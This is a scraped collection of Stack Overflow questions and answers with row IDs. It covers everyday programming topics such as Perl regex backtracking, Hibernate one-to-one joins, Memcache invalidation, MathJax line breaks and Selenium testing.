7465792	0	 <p>Regular expressions are like the <code>sort</code> function in Perl. You think it's pretty simple because it's just a single command, but in the end, it uses a lot of processing power to do the job.</p> <p>There are certain things you can do to help out:</p> <ol> <li>Keep your syntax simple as possible.</li> <li>Precompile your regular expression pattern by using qr// if you're using that regular expression in a loop. That'll prevent Perl from having to <em>compile</em> your regular expression with each loop.</li> <li>Try to avoid regular expression syntax that has to do <a href="http://perldoc.perl.org/perlre.html#Special-Backtracking-Control-Verbs" rel="nofollow">backtracking</a>. This usually ends up being the most general matching patterns (such as <code>.*</code>). </li> </ol> <p>The wretched truth is that after decades of writing in Perl, I've never masted the deep dark secrets of regular expression parsing. I've tried many times to understand it, but that usually means doing research on the Web, and ...well... I get distracted by all of the other stuff on the Web.</p> <p>And, it's not that difficult, any half decent developer with an IQ of 240, and a penchant for sadism should easily be able to pick it up. </p> <hr> <blockquote> <p>@David W.: I guess I'm confused on backtracking. I had to read your link several times but still don't quite understand how to implement it (or, not implement it) in my case. – user522962</p> </blockquote> <p>Let's take a simple example:</p> <pre><code>my $string = 'foobarfubar'; $string =~ /foo.*bar.*(.+)/; my $result = $1; </code></pre> <p>What will <code>$result</code> be? It will be <code>r</code>. You see how that works? Let's see what happens.</p> <p>Originally, the regular expression is broken into tokens, and the first token <code>foo.*</code> is used. That actually matches the whole string:</p> <pre><code>"foobarfubar" =~ /foo.*/ </code></pre> <p>However, if the first regular expression token captures the whole string, the rest of the regular expression fails. Therefore, the regular expression matching algorithm has to back track:</p> <pre><code>"foobarfubar" =~ /foo.*/ #/bar.*/ doesn't match "foobarfuba" =~ /foo.*/ #/bar.*/ doesn't match. "foobarfub" =~ /foo.*/ #/bar.*/ doesn't match. "foobarfu" =~ /foo.*/ #/bar.*/ doesn't match. "foobarf" =~ /foo.*/ #/bar.*/ doesn't match. "foobar" =~ /foo.*/ #/bar.*/ doesn't match. ... "foo" =~ /foo.*/ #Now /bar.*/ can match! </code></pre> <p>Now, the same happens for the rest of the string:</p> <pre><code>"foobarfubar" =~ /foo.*bar.*/ #But the final /.+/ doesn't match "foobarfuba" =~ /foo.*bar.*/ #And the final /.+/ can match the "r"! </code></pre> <p>Backtracking tends to happen with the <code>.*</code> and <code>.+</code> expression since they're so loose. I see you're using non-greedy matches which can help, but it can still be an issue if you are not careful -- especially if you have very long and complex regular expressions.</p> <p>I hope this helps explain backtracking.</p> <p>The issue you're running into isn't that your program doesn't work, but that it takes a long, long time.</p> <p>I was hoping that the general gist of my answer is that regular expression parsing isn't as simple as Perl makes it out to be. I can see the command <code>sort @foo;</code> in a program, but forget that if <code>@foo</code> contains a million or so entries, it might take a while. In theory, Perl could be using a bubble sort and thus the algorithm is a O<sup>2</sup>. I hope that Perl is actually using a more efficient algorithm and my actual time will be closer to O * log (O). However, all this is hidden by my simple one line statement.</p> <p>I don't know if backtracking is an issue in your case, but you're treating an entire webpage output as a single string to match against a regular expression which could result in a very long string. You attempt to match it against another regular expression which you do over and over again. Apparently, that is quite a process intensive step which is hidden by the fact it's a single Perl statement (much like <code>sort @foo</code> hides its complexity).</p> <p>Thinking about this on and off over the weekend, you really should not attempt to parse HTML or XML with regular expressions because it is so sloppy. You end up with something rather inefficient and fragile.</p> <p>In cases like this may be better off using something like <a href="http://search.cpan.org/~gaas/HTML-Parser-3.68/Parser.pm" rel="nofollow">HTML::Parser</a> or <a href="http://search.cpan.org/~grantm/XML-Simple-2.18/lib/XML/Simple.pm" rel="nofollow">XML::Simple</a> which I'm more familiar with, but doesn't necessarily work with poorly formatted HTML.</p> <p>Perl regular expressions are nice, but they can easily get out of our control.</p>
12006838	0	 <p>I usually add the <code>RKObjectMapping</code> to the managedObject class</p> <p>Add this to your Document.h</p> <pre><code> + (RKObjectMapping *)objectMapping; </code></pre> <p>Add this method to your Document.m</p> <pre><code>+ (RKObjectMapping *)objectMapping { RKManagedObjectMapping *mapping = [RKManagedObjectMapping mappingForClass:[self class] inManagedObjectStore:[[RKObjectManager sharedManager] objectStore]]; mapping.primaryKeyAttribute = @"word"; [mapping mapKeyPath:@"word" toAttribute:@"word"]; [mapping mapKeyPath:@"min_lesson" toAttribute:@"minLesson"]; </code></pre> <p>} </p> <p>Off course you should change the key paths to your Document object properties. each pair is the name of the key on the server responds and it's corresponded keyPath on your managedObject.</p> <p>Then when you initialize the <code>objectManager</code> you can set the mapping for each managedObject you have.</p> <pre><code> RKManagedObjectStore *store = [RKManagedObjectStore objectStoreWithStoreFilename:databaseName usingSeedDatabaseName:seedDatabaseName managedObjectModel:nil delegate:self]; objectManager.objectStore = store; //set the mapping object from your Document class [objectManager.mappingProvider setMapping:[SRLetter objectMapping] forKeyPath:@"Document"]; </code></pre> <p>YOu can find a great tutorial here - <a href="http://mobile.tutsplus.com/tutorials/iphone/advanced-restkit-development_iphone-sdk/" rel="nofollow">RestKit tutorial</a>. In the middle of the article you will find data about mapping.</p>
31859643	0	MS Access Compare all fields in two tables <p>I am working on a project that has a definite start and end date, with data that will be produced daily. Every day I will be receiving a dataset with all the data from the start of the project until the previous day (e.g. on Day 10 I will receive the data from days 1 to 9, on day 11 I will receive the data for days 1 to 10 etc.). Each row of data will have approx 15 fields and I need to be able to highlight if any retrospective changes have been made to any of the fields in each row of data.</p> <p>Is there any way to do this?</p> <p>Many thanks in advance for any advice!</p>
3868587	0	 <p><code>sqllite3</code> will probably be the easiest way forward. It's lightweight and doesn't need to be installed by users. To access it though, consider using an ORM (Object Relational Mapper) to simplify things. <a href="http://www.sqlalchemy.org/" rel="nofollow">SQL Alchemy</a> and <a href="https://storm.canonical.com/" rel="nofollow">Storm</a> are both good tools.</p> <p>An ORM deals with the nitty-gritty of writing SQL code and so forth. If you want to hop between databases, it's often just a matter of changing a single line of code.</p>
37601019	0	 <p>I somewhat got it to work using some of the existing code above, but it is still not optimal. This might be useful for others.</p> <p>This is what I did:</p> <p>1) I socket dial only once (during initialization)</p> <p>2) The POST-section is running inside a loop infinitely. The 5 second delay is now reduced to 200 ms and I added some headers, like so:</p> <pre><code> //unsigned long data = random(1000000000000000, 9999999999999999); LTESerial.print("POST /index.php?data="); LTESerial.print(data); LTESerial.print(" HTTP/1.1\r\n"); LTESerial.print("Host: ADDRESS\r\n"); LTESerial.print("Connection: keep-alive\r\n\r\n"); delay(200); while (getResponse() &gt; 0); </code></pre> <p>3) Turns out my WAMP server (PHP) had limitations as default in terms of maximum HTTP requests, timeouts and the like. I had to increase these numbers (I changed them to unlimited) inside <code>php.ini</code>.</p> <p>However, while I am able to "continuously" send data to my server, a delay of 200 ms is still a lot. I would like to see something close to serial communication, if possible.</p> <p>Also, when looking at the serial monitor, I get:</p> <pre><code>[...] 408295030 4238727231 3091191349 2815507344 -----------&gt;(THEN SUDDENLY)&lt;------------ HTTP/1.1 200 OK Date: Thu, 02 Jun 2 2900442411 016 19:29:41 GMT Server: Apache/2.4.17 (Win32) PHP/5.6.15 X-P16 3817418772 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: te 86026031 HTTP/1.1 200 OK Date: Thu, 02 Jun 2016 19:29:4 3139838298 75272508 [...] -----------&gt;(After 330 iterations/POSTs, I get)&lt;------------ NO CARRIER NO CARRIER NO CARRIER NO CARRIER </code></pre> <p>So my question is: 1) How do I eliminate the 200 ms delay as well?</p> <p>2) If my data-points have different sizes, the delay will have to change as well. How to do this dynamically?</p> <p>3) Why does it stop at 330-ish iterations? This doesn't happen if data is only 4 digits.</p> <p>4) Why do I suddenly get responses from the server?</p> <p>I hope someone can use this for their own project, however this does not suffice for mine. Any ideas?</p>
34575204	0	Regex - has six digits, starts with 0, 1, or 2 <p>I need a regex that will match a number containing six digits. The first digit must be 0, 1, or 2.</p> <p>For example - 054654 or 198098 or 265876.</p> <p>So far I got this: <code>/^\d{6}$/</code> - matches a number containing six digits. How do I add the second requirement: first digit must be 0, 1, or 2?</p>
36581850	0	international chars in tcl/tk can't be handle <p>I use tcl shellicon command to extract icons, as it mentioned on wiki page below, there are some international character problems in it, then I write some code to test but it doesn't work, could anyone to help me correct it.</p> <pre><code>/* * testdll.c * gcc compile: gcc testdll.c -ltclstub86 -ltkstub86 -IC:\Users\L\tcc\include -IC:\Users\L\tcl\include -LC:\Users\L\tcl\lib -LC:\Users\L\tcc\lib -DUSE_TCL_STUBS -DUSE_TK_STUBS -shared -o testdll.dll */ #include &lt;windows.h&gt; #include &lt;tcl.h&gt; #include &lt;stdlib.h&gt; int TestdllCmd(ClientData clientData, Tcl_Interp *interp, int objc, Tcl_Obj * CONST objv[]) { char * path; Tcl_DString ds; if (objc &gt; 2) { Tcl_SetResult(interp, "Usage: testdll ?path?",NULL); return TCL_ERROR; } if (objc == 2) { path = Tcl_GetString(objv[objc-1]); path = Tcl_TranslateFileName(interp, path, &amp;ds); if (path != TCL_OK) { return TCL_ERROR; } } Tcl_AppendResult(interp, ds, NULL); return TCL_OK; } int DLLEXPORT Testdll_Init(Tcl_Interp *interp) { if (Tcl_InitStubs(interp, "8.5", 0) == NULL) { return TCL_ERROR; } Tcl_CreateObjCommand(interp, "testdll", TestdllCmd, NULL, NULL); Tcl_PkgProvide(interp, "testdll", "1.0"); return TCL_OK; } </code></pre> <p>I compile it with:</p> <pre><code>gcc compile: gcc testdll.c -ltclstub86 -ltkstub86 -IC:\Users\USERNAME\tcc\include -IC:\Users\USERNAME\tcl\include -LC:\Users\USERNAME\tcl\lib -LC:\Users\USERNAME\tcc\lib -DUSE_TCL_STUBS -DUSE_TK_STUBS -shared -o testdll.dll </code></pre> <p>windows cmd shell run: tclsh testdll.tcl</p> <pre><code>load testdll puts [testdll C:/Users/L/桌面] </code></pre> <p>the output is:</p> <pre><code>// This line isn't in the output, just to show the first line of output is a *EMPTY LINE* while executing "testdll 'C:/Users/L/桌面'" invoked from within "puts [testdll 'C:/Users/L/桌面']" (file "testdll.tcl" line 2) </code></pre> <p>In fact, I want to print a line, whose content is "C:/Users/L/桌面"</p> <p>I write this dll to debug how to replace Tcl_GetString,Tcl_TranslateFileName with Tcl_FSGetNormalizedPath, Tcl_FSGetNativePath, I wonder if it's clear?</p> <p>Thank you!</p>
31607434	0	Remove join from Hibernate query with OneToOne <p>I have two simple entities with one-to-one mapping:</p> <pre><code>@Entity @Table(name="DRIVER") public class Driver implements Serializable { @Id @GeneratedValue(strategy=GenerationType.AUTO) @Column(name="ID") private long id; @OneToOne(cascade=CascadeType.ALL) @JoinColumn(name="CAR_ID",referencedColumnName="ID") private Car car; } </code></pre> <p>and:</p> <pre><code>@Entity @Table(name="CAR") public class Car { @Id @GeneratedValue(strategy=GenerationType.AUTO) @Column(name="ID") private Long id; @OneToOne(mappedBy="car") private Driver driver; @Column(name="MILEAGE") private Long mileage; } </code></pre> <p>To update the mileage I call:</p> <pre><code> Car c = em.find(Car.class, id); c.setMileage(mileage); </code></pre> <p>And Hibernate query looks like this:</p> <pre><code>select car0_.ID as ID0_1_, car0_.DATE_OF_PURCHASE as DATE2_0_1_, car0_.MILEAGE as MILEAGE0_1_, car0_.MODEL as MODEL0_1_, car0_.PRODUCER as PRODUCER0_1_, driver1_.ID as ID1_0_, driver1_.CAR_ID as CAR3_1_0_, driver1_.NAME as NAME1_0_ from CAR car0_ left outer join DRIVER driver1_ on car0_.ID=driver1_.CAR_ID where car0_.ID=? </code></pre> <p>What I want is to query Car table only and remove the join operation. I tried to put FetchType.LAZY on both sides, it changes the query a bit but it doesn't remove the join.</p> <p>Is it possible to do it in such model? </p> <p>It looks like whenever you query for the owning entity, the owned entity is queried as well but I'm not sure if this is a rule.</p>
20385910	0	 <p>Why don't you simply use static variables ?</p> <p><code>HttpContext</code> is dependent on ASP.NET pipeline. In a host-agnostic model (OWIN or self-hosted) you don't have access to it.</p> <p>Application storage in <code>HttpApplicationState</code> is only useful if you need to access the current HttpContext. If it's not necessary, you should simply use static properties. </p> <p>Moreover, <code>HttpApplicationState</code> was initially created for backward compatibility with classic ASP.</p> <pre><code>public static class StaticVariables { public static object SomeInfo { get; set; } } </code></pre> <p>See also <a href="http://stackoverflow.com/questions/2179923/singleton-and-httpapplicationstate">Singleton and HttpApplicationState</a> and <a href="http://forums.asp.net/t/1574797.aspx" rel="nofollow">http://forums.asp.net/t/1574797.aspx</a></p>
35788107	0	 <p>I'm not sure whether you just implemented the <a href="http://stackoverflow.com/q/23803743/1048572"><code>Promise</code> constructor antipattern</a> by accident, and are now trying to generalise it, or genuinely recognised the <a href="http://stackoverflow.com/a/22562045/1048572">usefulness of functors/monads</a> (congrats!), but <strong>you've reinvented the <code>.then</code> method</strong>.</p> <p>Your code is <a href="http://stackoverflow.com/q/24662289/1048572">more or less exactly</a> equivalent to</p> <pre><code>function promiseWrap(promiseInstance, resolveFunc, rejectFunc) { // assuming promiseInstance instanceof Promise - if not, add a `Promise.resolve()` return promiseInstance.then(resolveFunc, rejectFunc); } </code></pre> <p>Indeed, this return value of <code>then()</code> calls - another promise for the result of the callback(s) - is what promises are all about.</p>
37804533	0	UIBezierPath set context <p>I'm trying to draw some lines using <code>UIBezierPath</code> in an overlay renderer. I get error <code>CGContextSetStrokeColorWithColor: invalid context 0x0</code> which I suspect is due to the <code>UIBezierPath</code> not knowing the context. How do I set the UIBezierPath's context?</p> <p>My <code>MKOverlayRenderer</code> is roughly:</p> <pre><code>override func drawMapRect(mapRect: MKMapRect, zoomScale: MKZoomScale, inContext context: CGContext) { let path = UIBezierPath() path.moveToPoint(...) path.addLineToPoint(...) path.lineWidth = 2 UIColor.blueColor().setStroke() path.stroke() } </code></pre>
34413771	0	 <p>Actually the work of proximity is to detect other devices like windows phone , or windows computer through NFC.It detect those devices which has NFC tags</p> <p>Here is the link for your reference <a href="https://msdn.microsoft.com/library/windows/apps/jj207060(v=vs.105).aspx#BKMK_Requiredcapabilities" rel="nofollow">https://msdn.microsoft.com/library/windows/apps/jj207060(v=vs.105).aspx#BKMK_Requiredcapabilities</a></p> <p>and there is no clear explanation on any of the website about the detection of human body or any object that comes near the phone like when the screen turns off while getting it near to our ears may be we can use light sensors to detect object nearby.</p> <p>I think that this sensor does not have a API and is provided by default by windows phone API if we use the calling API classes</p>
16018398	0	 <p>The compiler seems to place the casting from <code>const char&amp;</code> to <code>char</code> on the same level as upcasting <code>std::ostringstream</code> to <code>std::ostream</code> when the overload resolution comes.</p> <p>The solution could be to template the type of <code>operator&lt;&lt;</code> to avoid the upcasting:</p> <pre><code>namespace _impl { template &lt;typename T, typename Y&gt; Y&amp; operator&lt;&lt;(Y&amp; osstr, const T&amp; val) { return osstr; } } </code></pre>
14797735	0	Memcache - How to prevent frequent cache rebuilds? <p>I have been working for Memcache for the last week or so, I have managed to work out how to set keys/delete keys. This is fine but Im still attempting to work out how to do the same for a while loop of results. </p> <p>For example I will have a while loop of posts, from within the logic the function will check to see if Memcache is set, if not it will collect the results and create the key. My question is this, <strong>If I have set the looped data into a set key and display the set key (Newest First) Then what happens when a new post is inserted?</strong> I understand I can set a time limit on the set key, but as the content will/could be added whenever it seems that setting a limit could still display old posts. So my question is how would I be able to update the set key. </p> <p>The only way I can think of a possible solution is for when a user inserts a new post, this deletes the key, and when the all posts is viewed again this is when the key gets set again. But this seems rather counter productive, just as if there are 10's of users submitting posts then all the posts will be set over and over again (Doesn't really seem beneficial)</p> <p>I hope this makes sense, any help or guidance would be appreciated.</p>
9781359	0	Magento product zoom files <p>Can someone please tell me what are the Javascript files for default Magento Product Zoom extension. On my site its not working and seems I am missing some files.</p> <p>please reply.</p>
40228331	0	 <p>If I understand correctly, you shouldn't need to use floats at all. Bootstrap will automatically take care of the alignment of your <code>&lt;div&gt;</code>s. Just reverse the order of your two input fields; the first one will be on the left.</p>
32248418	0	NodeJS with PHP <p>I am a PHP developer who just started learning Node.js and I saw this video: <a href="https://www.youtube.com/watch?v=_D2w0voFlEk" rel="nofollow">https://www.youtube.com/watch?v=_D2w0voFlEk</a> where it is explained that a html file can be given as response to the browser which is fine.</p> <p><strong>Now, my question:</strong></p> <p>If I am running Node.js and PHP in the same server and if the user visits my website, the request goes to nodejs script running in my server. Now, can I process the request in NodeJS and then give a PHP file as a response (after processing on server side) instead of .html file</p> <p>An outline of what I mean is:</p> <p>Client Request-> NodeJS server->NodeJS script->PHP server->PHP script->Client Response</p> <p>Its like stacking of 2 servers.</p> <p><strong>Why I was thinking of this..</strong></p> <p>I am making a social networking website where I already made most of my code in PHP and now I am working on real time communications where I do video/audio conferencing, text chat, etc. So, I am planning to use WebRTC and Websockets for this and found many websites telling that NodeJS is the best way to go about when taking Real Time communications to consideration. </p> <p>But, if I have to do it, I have to change all my code from PHP to NodeJS which is not a good option. So, I thought why not run PHP server inside NodeJS server.</p> <p>Thanks in advance</p> <p>I did refer this question by the way: <a href="http://stackoverflow.com/questions/2808125/recommendation-for-integrating-nodejs-with-php-application">Recommendation for integrating nodejs with php application</a> and felt my case is a bit different.</p>
16569078	0	 <p>Move the contents of the <strong>/public</strong> folder down a level.</p> <p>You'll need to update the include lines in index.php to point to the correct location. (if it's down a level, remove the '../').</p>
5041432	0	Mvc 3 Razor : Using Sections for Partial View? <p>I defined a section in partial view and I want to specify the content of section from view. But I can't figure out a way. In asp.net user controls, we can define asp:placeholders, and specify the content from aspx where user control lies. I'll be glad for any suggestion.</p> <p>Thanks</p> <p>[edit] Here is the asp.net user control and I want to convert it to razor partial view</p> <p>User control:</p> <pre><code>&lt;%@ Control Language="C#" AutoEventWireup="true" CodeFile="SpryListView.ascx.cs" Inherits="SpryListView" %&gt; &lt;div spry:region="&lt;%=this.SpryDataSetName%&gt;" id="region&lt;%=this.ID%&gt;" style="overflow:auto;&lt;%=this.DivStyle%&gt;" &gt; &lt;table class="searchList" cellspacing="0" style="text-align:left" width="100%"&gt; &lt;thead&gt; &lt;tr&gt; &lt;asp:PlaceHolder ID="HeaderColumns" runat="server"&gt;&lt;/asp:PlaceHolder&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;/table&gt; </code></pre> <p>User control code:</p> <pre><code>public partial class SpryListView : System.Web.UI.UserControl { private string spryDataSetName ; private string noDataMessage = "Aradığınız kriterlere uygun kayıt bulunamadı."; private bool callCreatePaging; private string divStyle; private ITemplate headers = null; private ITemplate body = null; [TemplateContainer(typeof(GenericContainer))] [PersistenceMode(PersistenceMode.InnerProperty)] public ITemplate HeaderTemplate { get { return headers; } set { headers = value; } } [TemplateContainer(typeof(GenericContainer))] [PersistenceMode(PersistenceMode.InnerProperty)] public ITemplate BodyTemplate { get { return body; } set { body = value; } } public string DivStyle { get { return divStyle; } set { divStyle= value; } } public string NoDataMessage { get { return noDataMessage; } set { noDataMessage = value; } } public string SpryDataSetName { get { return spryDataSetName; } set { spryDataSetName = value; } } public bool CallCreatePaging { get { return callCreatePaging; } set { callCreatePaging = value; } } void Page_Init() { if (headers != null) { GenericContainer container = new GenericContainer(); headers.InstantiateIn(container); HeaderColumns.Controls.Add(container); GenericContainer container2 = new GenericContainer(); body.InstantiateIn(container2); BodyColumns.Controls.Add(container2); } } public class GenericContainer : Control, INamingContainer { internal GenericContainer() { } } protected void Page_Load(object sender, EventArgs e) { } } </code></pre> <p>aspx</p> <pre><code>&lt;spry:listview SpryDataSetName="dsOrders" CallCreatePaging="true" runat="server" ID="orderListView"&gt; &lt;HeaderTemplate&gt; &lt;th&gt;&amp;nbsp;&lt;/th&gt; &lt;th&gt;SİPARİŞ TARİHİ&lt;/th&gt; &lt;th style="text-align:right"&gt;GENEL TOPLAM&lt;/th&gt; &lt;th style="text-align:right"&gt;KDV&lt;/th&gt; &lt;th style="text-align:right"&gt;NET TOPLAM&lt;/th&gt; &lt;/HeaderTemplate&gt; &lt;/spry:listview&gt; </code></pre> <p>[edit]</p> <p>I want to do exactly this in mvc 3 razor partial view.</p>
16029384	0	 <p>Well,</p> <p>If you are in the PHP and Open Source world, you can consider Node.Js, Socket.IO or NowJs</p> <p>I am in the ASP.Net wonderworld and I love SignalR.</p>
30765223	0	 <p>Your syntax is wrong, and doesn't produce anything except an error message as you've written it here.</p> <p>If I understand your question correctly, this should produce the output you want:</p> <pre><code>SELECT old_column, CASE old_column WHEN 'A' THEN 1 WHEN 'B' THEN 2 WHEN 'C' THEN 3 ELSE 0 END AS new_column FROM table_name </code></pre> <p>A <code>SELECT</code> does exactly what it says it does - it selects the data, but doesn't actually alter it's content.</p> <p>To <em>permanently</em> add a new column and populate it, you'll need to first <code>ALTER TABLE</code> to add the new column, and then <code>UPDATE</code> that new column's content.</p> <pre><code>ALTER TABLE table_name ADD COLUMN newcolumn integer; UPDATE table_name SET newcolumn = CASE oldcolumn WHEN 'A' THEN 1 WHEN 'B' THEN 2 WHEN 'C' THEN 3 ELSE 0 END; </code></pre> <p>For future reference: If you want help with your SQL syntax, include the actual code you've tried that isn't working, instead of inventing something as you go or re-typing. With SQL-related questions, it's almost always a good idea to post some sample data and the output you'd like to obtain from that data, along with your <em>actual</em> SQL code trying to produce that output. It makes it much easier to help you when we can understand what you're trying to do and have samples to use.</p>
10079340	0	jquery submit input and textareas at the same time <p>The code below saves all the Input Fields. If I change the word "INPUT" to "TEXTAREA" it will save the textarea text boxes, is there a way to change the code to save all the input fields and the textarea fields at the same time, as opposed to running through the code twice?</p> <pre><code>// JQUERY: Run .autoSubmit() on all INPUT fields within form $(function(){ $('#ajax-form INPUT').autoSubmit(); </code></pre>
18517891	0	retrieve real-time data from JBloomberg API <p>I want to retrieve the time and the real-time last Price as double instead of having an output like</p> <pre><code>DataChangeEvent{ESA Index,ASK_SIZE: 204==&gt;192} </code></pre> <p>from the code below</p> <pre><code>DataChangeListener lst = new DataChangeListener() { @Override public void dataChanged(DataChangeEvent e) { System.out.println(e); } }; SubscriptionBuilder builder = new SubscriptionBuilder() .addSecurity("ESA Index") .addField(RealtimeField.LAST_PRICE) .addField(RealtimeField.ASK) .addField(RealtimeField.ASK_SIZE) .addListener(lst); session.subscribe(builder); Thread.sleep(3000); </code></pre>
31675368	0	How to make MathJax responsive and add line breaks automatically? <p>I've read the MathJax documentation for adding line breaks automatically but it seems to have no effect. </p> <p>I don't know how to make MathJax responsive. My website allows users to write in LaTeX especially for mathematical formulas. However, on mobile screen, sometimes the output is too wide and I need somehow to find a way to resize it.</p> <p>I can't ask my users to use this functionality only for short formulas.</p> <p><em>Exemple of incorrect output :</em> </p> <p><a href="https://i.stack.imgur.com/z2s4c.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/z2s4c.png" alt="enter image description here"></a></p> <p><em>What I did based on the documentation (but does not work) :</em></p> <pre><code>MathJax.Hub.Config({ tex2jax: { inlineMath: [['$','$'], ['\\(','\\)']] }, "HTML-CSS": { linebreaks: { automatic: true } }, SVG: { linebreaks: { automatic: true } } }); </code></pre> <p>Full code on JS Fiddle : <a href="https://jsfiddle.net/ao8cnquw/" rel="nofollow noreferrer">https://jsfiddle.net/ao8cnquw/</a></p>
36550777	0	Average rating from SQL database survey data <p>I've been trying to return the average rating of an organizer based on ratings from a table with survey data (targetting one column).</p> <pre><code>Table: Workshops Cols: id[pk] | title | description | survey_id[fk] | organizer_id[fk] Table: Organizers Cols: organizer_id[pk] | organizer_name | organizer_email | organizer_rating Table: Surveys Cols: survey_id[pk] | survey_desc | survey </code></pre> <p>And the table with user responses is as follows:</p> <pre><code>Table: SurveyUserResponse Cols: s_u_r_id[pk] | username | survey_id[fk] | answer_1 | answer_2 | answer_3 </code></pre> <p>Answer 3 is essentially the speaker's rating. I attempted to select the average rating on answer 3 and joining it with workshops based on organizer ID but it does not return the right average for an organizer. </p> <p>This has got me quite stumped and I am unsure how to get the rating into the organizer rating column of the ratings table.</p> <p>Any help would be greatly appreciated.</p> <p><strong>EDIT:</strong></p> <p>Thank you for the advice Eduard. As per your suggestion, this is an example record:</p> <pre><code>Table: Workshops id | title | description | survey_id | organizer_id --------------------------------------------------- 1 | ws01 | on pottery | 1 | 1 Table: Organizers organizer_id | organizer_name | organizer_email | organizer_rating ----------------------------------------------------------------------- 1 | Ray Dion | r.dion@ws01.com | &lt;trying to get result here&gt; Table : Surveys survey_id | survey_desc | survey --------------------------------- 1 | ws01 survey | test Table: SurveyUserResponse s_u_r_id | username | survey_id | answer_1 | answer_2 | answer_3 ----------------------------------------------------------------- 114 | joe21331 | 1 | 4 | 5 | 3 </code></pre> <p>This is what I came up with so far just to test if a proper data set is returned:</p> <pre><code> SELECT Organizers.organizer_id, Organizers.organizer_name, AVG(survey_user_response.answer_value_3) AS organizer_rating FROM Organizers, survey_user_response INNER JOIN Workshops organizer_id ON Workshops.organizer_id = Organizers.organizer_id ORDER BY organizer_rating DESC </code></pre>
18253331	0	 <p>You are trying to upload an array of files, you will not be able to upload more than 20 files due to <a href="http://php.net/manual/en/ini.core.php#ini.sect.file-uploads" rel="nofollow">max_file_uploads</a> limit in <code>php.ini</code> which is by default set to <code>20</code>. </p> <p>So you have to increase this limit to upload more than 20 files.</p> <p><strong>Note</strong>: <code>max_file_uploads</code> can NOT be changed outside php.ini. See <a href="http://bugs.php.net/bug.php?id=50684&amp;edit=1" rel="nofollow">PHP "Bug" #50684</a></p>
32167137	0	 <p>From the documentation, it looks like you can set the location where you want to save by means of the properties <code>imageCapture</code>, which has the method <code>captureToLocation</code>.</p> <p>It has also a property called <code>capturedImagePath</code> that maybe contains what you are looking for.</p> <p>Look <a href="http://doc.qt.io/qt-5/qml-qtmultimedia-cameracapture.html#capturedImagePath-prop" rel="nofollow">here</a> and <a href="http://doc.qt.io/qt-5/qml-qtmultimedia-cameracapture.html" rel="nofollow">here</a> and <a href="http://doc.qt.io/qt-5/qml-qtmultimedia-cameracapture.html#capturedImagePath-prop" rel="nofollow">here</a> for further details.</p> <p>Sorry, just seen you were asking for the <code>videoRecording</code>. It has the <code>actualLocation</code> property as well and it works as above, doesn't it?</p> <p>The <a href="http://doc.qt.io/qt-5/qml-qtmultimedia-camerarecorder.html#actualLocation-prop" rel="nofollow">documentation</a> states that that property holds the actual location of the last saved media content. Be aware that it's available once the recording starts, so you should look at it after the <code>record</code> method has been invoked.</p>
12738390	0	 <p>The Android SDK provides the <code>SharedPreferences</code> class to <code>set</code> and <code>get</code> App preferences.</p> <p>These preferences are for small amounts of data, and there are methods for the all the data types (including <code>String</code>).</p> <p>The preferences are removed when the App is uninstalled. Or if the user goes to their device settings, finds the App and selects the "Clear Cache" button.</p> <p>You can set preferences this way:</p> <pre><code>SharedPreferences get = getSharedPreferences("MyApp", Context.MODE_PRIVATE); SharedPreferences.Editor set = get.edit(); set.putInt("BUTTON_COLOR", 0xFF000000); set.commit(); // You must call the commit method to set any preferences that you've assigned. </code></pre> <p>And you can retrieve them this way:</p> <pre><code>get.getInt("BUTTON_COLOR", 0xFF000000); // A preference will never return null. You set a default value as the second parameter. </code></pre>
9985103	0	 <p><a href="http://wiki.bash-hackers.org/scripting/posparams" rel="nofollow">http://wiki.bash-hackers.org/scripting/posparams</a></p> <p>It explains the use of <code>shift</code> (if you want to discard the first N parameters) and then implementing Mass Usage (look for the heading with that title).</p>
33792933	0	 <p>Add below code in your activity.</p> <pre><code>public void Condition(View view) { boolean checked = ((RadioButton) view).isChecked(); switch(view.getId()) { case R.id.newoption: if (checked) break; case R.id.usedoption: if (checked) break; } } </code></pre> <p>and your code should work!</p>
25509155	0	java selenium - hidden input value <p>First Stack post, so don't be harsh if I get it wrong.</p> <p>Im using selenium and java for some automated testing. All was going well until I tried to set the value of a hidden input.</p> <p>When using 'type' in the Firefox IDE, it works a treat, but when I use the line below, it doesn't play at all. It just fails. </p> <pre><code>// This line doesnt like to run because its hidden selenium.type("name=startDate_submit", "2015-09-25"); </code></pre> <p>Can anyone point me in the right direction. </p> <p>Many Thanks.</p> <p><strong>Edit:</strong></p> <pre><code>WebDriver driver = new ChromeDriver(); JavascriptExecutor jse = (JavascriptExecutor)driver; jse.executeScript("$([name=startDate_submit]).attr('type', 'text');"); Thread.sleep(3000); // This line doesnt like to run because its hidden selenium.type("name=startDate_submit", "2015-09-25"); </code></pre> <p>Should this be the way I do this? I just cannot get it working.</p>
33662039	0	 <p>just add a class at your main ul (i added 'main-menu' for example) and then add this css:</p> <pre><code>.main-menu &gt; li &gt; ul, .main-menu &gt; li &gt; ul &gt; li &gt; ul, .main-menu &gt; li &gt; ul &gt; li &gt; ul &gt; li &gt; ul { display: none; } .main-menu &gt; li:hover &gt; ul, .main-menu &gt; li &gt; ul &gt; li:hover &gt; ul, .main-menu &gt; li &gt; ul &gt; li &gt; ul &gt; li:hover &gt; ul { display:block; } </code></pre>
19683858	0	 <p>You can use <a href="http://api.jquery.com/clearQueue/" rel="nofollow"><strong><code>clearQueue()</code></strong></a> to stop the animation</p> <blockquote> <p>clearQueue() : Stop the remaining functions in the queue</p> </blockquote> <p><kbd><a href="http://jsfiddle.net/b4hwq/3/" rel="nofollow">jsFiddle here</a></kbd></p> <p><strong>HTML</strong></p> <pre><code>&lt;div class="box"&gt;&lt;/div&gt; &lt;button id="restartTransition"&gt;Click Me&lt;/button&gt; </code></pre> <p><strong>CSS</strong></p> <pre><code>.box{ opacity: 0.8; position: absolute; left: 0; top: 5%; background: #505060; border-radius: 1px; box-shadow: inset 0 0 0 2px rgba(0, 0, 0, 0.2); margin: -16px 0 0 -16px; width: 32px; height: 32px; z-index: 2; } </code></pre> <p><strong>jQuery</strong></p> <pre><code>$(document).ready(function(){ $("#restartTransition").on("click", function(){ $('.box').clearQueue().transition({ x: '0px' },10); $('.box').transition({ x: '350px' },5000); }); }); </code></pre>
